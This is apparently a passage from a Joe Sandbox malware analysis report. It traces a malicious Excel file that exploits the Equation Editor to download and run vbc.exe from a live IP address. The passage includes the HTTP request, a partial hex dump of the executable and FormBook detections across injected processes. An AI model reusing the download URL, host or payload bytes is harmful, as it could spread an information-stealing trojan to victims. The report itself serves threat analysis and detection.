May 13, 2022 17:07:42.869393110 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869411945 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869416952 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869431019 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869436979 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869450092 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869458914 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869468927 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869476080 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869488955 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869496107 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869507074 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869512081 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869524956 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869533062 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869544029 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869549990 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869571924 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869576931 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869609118 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.878055096 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.078670979 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078722954 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078739882 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078752995 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078769922 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078788996 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078805923 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078824043 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078840971 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078857899 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078876019 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078885078 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.078891993 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078908920 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078919888 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.078923941 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.078926086 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078927040 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.078938961 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.078943014 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.078955889 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.078975916 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081020117 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081054926 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081072092 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081089973 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081105947 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081105947 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081124067 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081131935 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081135035 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081141949 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081151009 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081160069 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081166029 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081176043 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081176996 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081192017 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081193924 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081211090 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081211090 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081228971 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081232071 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081247091 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081248045 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081264019 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081264973 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081283092 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081286907 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081295967 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081306934 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081326008 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081330061 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081341028 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081346989 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081357956 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081361055 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081374884 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081378937 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081391096 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081396103 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081408978 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081409931 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081425905 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081425905 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081439972 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081444025 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081454992 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081459999 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081475973 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081478119 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081491947 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081496000 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081509113 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081515074 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081526041 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081527948 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081542015 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081542969 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081557989 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:43.081562042 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081576109 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:43.081593990 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:45.430752039 CEST	49171	80	192.168.2.22	103.156.91.153

HTTP Request Dependency Graph

103.156.91.153

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49171	103.156.91.153	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
May 13, 2022 17:07:41.567938089 CEST	2	OUT	GET /fdcloudfiles/vbc.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 103.156.91.153 Connection: Keep-Alive
May 13, 2022 17:07:41.784928083 CEST	3	IN	HTTP/1.1 200 OK Date: Fri, 13 May 2022 15:07:42 GMT Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Last-Modified: Fri, 13 May 2022 06:57:17 GMT ETag: "40667-5dedf2f5fd4c5" Accept-Ranges: bytes Content-Length: 263783 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!`G@@@/OQ@@I@/OS@c>@+F@Rich@PELOah:F6@;@;P.textgh `.rdatal@@.data9@.ndata:.rsrcP;@@
May 13, 2022 17:07:41.784980059 CEST	5	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 8b 0d a8 8a 7a 00 89 48 04 50 ff 75 10 ff 75 0c ff 75 08 ff 15 84 82 40 00 e9 42 01 00 00 53 56 8b 35 b0 8a 7a 00 8d 45 a4 Data Ascii: U\}t+}FEuHzHPuuu@BSV5zEWPu@eEEPu@}e`@FRVVU+MM3FQNUMVTUFPEEPM\@EEPEPu
May 13, 2022 17:07:41.785007954 CEST	6	IN	Data Raw: 7a 00 e9 f9 16 00 00 8b 88 80 8b 7a 00 89 88 20 8b 7a 00 e9 e8 16 00 00 8b 45 d8 8d 34 85 20 8b 7a 00 33 c0 8b 0e 3b cb 0f 94 c0 23 4d dc 8b 44 85 d0 89 0e e9 d2 16 00 00 8b 45 d4 ff 34 85 20 8b 7a 00 57 e9 31 16 00 00 8b 0d 70 7a 7a 00 8b 35 50 Data Ascii: zz zE4 z3;#MDE4 zW1pzz5P@;tuQEzz;PQjuP@nmjPEJ;tZj\VIf>ff;u9]tCFtuEuF;t=uu
May 13, 2022 17:07:41.785031080 CEST	7	IN	Data Raw: 89 1f 66 89 9f fe 07 00 00 e9 b8 11 00 00 8b 75 e4 53 e8 09 13 00 00 6a 01 8b f8 89 55 f0 e8 fd 12 00 00 59 3b f3 59 89 55 f0 75 08 3b f8 7c 08 7e 8a eb 12 3b f8 73 08 8b 45 dc e9 91 11 00 00 0f 86 76 ff ff ff 8b 45 e0 e9 83 11 00 00 6a 01 e8 cb Data Ascii: fuSjUY;YUu;\|~;sEvEjjUuYUYE$L-@_+X;tSC#323;;u3;t;t3F;t3E
May 13, 2022 17:07:42.000262022 CEST	9	IN	Data Raw: 00 ff 75 ac eb 47 53 e8 fc 0d 00 00 8b f0 56 6a eb e8 1c 37 00 00 56 e8 97 3c 00 00 8b f0 3b f3 0f 84 6a 09 00 00 39 5d d8 74 21 56 e8 17 4b 00 00 39 5d d4 7c 0b 50 ff 75 f4 e8 d8 45 00 00 eb 0b 3b c3 74 07 c7 45 fc 01 00 00 00 56 ff 15 24 81 40 Data Ascii: uGSVj7V<;j9]t!VK9]\|PuE;tEV$@4jPI;tvuEvQEffjuMEQPjIEf;fEVj@8@;EjIjEIuEVSuU
May 13, 2022 17:07:42.000288963 CEST	10	IN	Data Raw: 00 00 8d 44 00 02 83 fe 04 75 12 6a 03 e8 9a 08 00 00 59 a3 f8 b5 40 00 56 89 55 c8 58 83 fe 03 75 0f 68 00 18 00 00 57 53 ff 75 dc e8 6e 0e 00 00 50 57 ff 75 f0 53 ff 75 bc ff 75 08 ff 15 0c 80 40 00 85 c0 75 03 89 5d fc ff 75 08 e9 d3 00 00 00 Data Ascii: DujY@VUXuhWSunPWuSuu@u]uhj3i;fMEQMWQSPV@3Au.}t9Mt}uEEt739]WE!@ffM^h>j;YUfn9]M
May 13, 2022 17:07:42.000305891 CEST	12	IN	Data Raw: 08 e8 f8 37 00 00 57 ff 15 34 81 40 00 83 4d c8 ff 53 53 ff 75 08 ff 75 c8 e8 47 09 00 00 ff 75 08 8b f8 ff 15 24 81 40 00 6a f3 3b fb 5e 7d 13 6a ef 5e ff 75 c0 ff 15 70 81 40 00 c7 45 fc 01 00 00 00 56 e9 96 f8 ff ff 53 e8 23 03 00 00 8b f8 59 Data Ascii: 7W4@MSSuuGu$@j;^}j^up@EVS#Y;=zUEi5z;\|uVu;Q+MtjYUEuFP;NEM9]JW?S YU09]t"9]
May 13, 2022 17:07:42.000319004 CEST	13	IN	Data Raw: c0 74 d0 ff 75 fc ff 15 10 80 40 00 6a 03 e8 dc 3a 00 00 85 c0 75 1e ff 75 0c ff 75 08 ff 15 18 80 40 00 eb 1b ff 75 fc ff 15 10 80 40 00 b8 eb 03 00 00 eb 0b 6a 00 56 ff 75 0c ff 75 08 ff d0 5f 5e 5b c9 c2 0c 00 55 8b ec 81 ec 80 00 00 00 81 7d Data Ascii: tu@j:uuu@u@jVuu_^[U}ujhju@@E}uEF=zT@u @PEQPT@EPuD@EPhu,30y@y;rPjdQ@UV39ut
May 13, 2022 17:07:42.000335932 CEST	14	IN	Data Raw: 79 00 2b 35 60 ce 40 00 57 03 74 24 14 ff 15 f8 80 40 00 33 db 05 f4 01 00 00 3b f3 a3 ac 8a 7a 00 0f 8e 2a 01 00 00 ff 35 44 f7 79 00 e8 46 01 00 00 53 53 ff 35 60 ce 40 00 ff 35 1c a0 40 00 ff 15 60 81 40 00 89 35 40 f7 79 00 89 1d 30 f7 79 00 Data Ascii: y+5`@Wt$@3;z*5DyFSS5`@5@`@5@y0y0x8y@+Dy;07yWV=Dy5h@=l@9zt)9@zu!@yS+4y+D$`@0yYhh@-p@t@26\|j5p@+t!VU5@
May 13, 2022 17:07:42.000353098 CEST	16	IN	Data Raw: 72 50 0f b7 05 3e a3 40 00 99 0f a4 c2 10 c1 e0 10 8b d8 0f b7 05 3c a3 40 00 0f b7 0d 38 a3 40 00 99 0b d8 0f b7 05 3a a3 40 00 c1 e0 10 0b c1 33 c9 99 0b c8 8b c3 0b c2 8b 17 3b d1 75 07 8b 57 04 3b d0 74 0a 4f 4f 81 ff 00 30 7b 00 73 e9 33 db Data Ascii: rP>@<@8@:@3;uW;tOO0{s30{E@rAfW&=Wh8{.,Wh@{#,]LzE!h,@V,th(@V,h@V+H{WV(@Vt h!
May 13, 2022 17:07:42.000370979 CEST	17	IN	Data Raw: 50 ff 74 24 2c ff 74 24 2c 68 00 00 00 80 57 56 68 80 00 00 00 ff 15 24 82 40 00 a3 68 1f 7a 00 57 e8 eb d4 ff ff 85 c0 74 08 6a 02 58 e9 bf 00 00 00 e8 c2 00 00 00 39 3d 40 8b 7a 00 0f 85 83 00 00 00 6a 05 ff 35 68 1f 7a 00 ff 15 50 82 40 00 68 Data Ascii: Pt$,t$,hWVh$@hzWtjX9=@zj5hzP@h<@vuh0@h5(@@SUWuSh@WS-dzz@zzWih@@WP5z,@jVj+Wt9=lzzNj.Bj"3_^

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 2644, Parent PID: 576

General

Target ID:	0
Start time:	17:07:16
Start date:	13/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fb90000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: EQNEDT32.EXEPID: 900, Parent PID: 576

General

Target ID:	2
Start time:	17:07:42
Start date:	13/05/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 2520, Parent PID: 900

General

Target ID:	4
Start time:	17:07:47
Start date:	13/05/2022
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\vbc.exe"
Imagebase:	0x400000
File size:	263783 bytes
MD5 hash:	5AF1C7DD89A535DEE51C3E28B4A74F8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: bmexo.exePID: 1224, Parent PID: 2520

General

Target ID:	5
Start time:	17:07:48
Start date:	13/05/2022
Path:	C:\Users\user\AppData\Local\Temp\bmexo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Imagebase:	0xf20000
File size:	80384 bytes
MD5 hash:	FD42CBBC6D53AD34694C46731AABD852
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: bmexo.exePID: 1820, Parent PID: 1224

General

Target ID:	6
Start time:	17:07:50
Start date:	13/05/2022
Path:	C:\Users\user\AppData\Local\Temp\bmexo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Imagebase:	0xf20000
File size:	80384 bytes
MD5 hash:	FD42CBBC6D53AD34694C46731AABD852
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 1860, Parent PID: 1820

General

Target ID:	7
Start time:	17:07:55
Start date:	13/05/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xff040000
File size:	3229696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: chkdsk.exePID: 792, Parent PID: 1860

General

Target ID:	8
Start time:	17:08:24
Start date:	13/05/2022
Path:	C:\Windows\SysWOW64\chkdsk.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\chkdsk.exe
Imagebase:	0x80000
File size:	16384 bytes
MD5 hash:	A01E18A156825557A24A643A2547AA8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 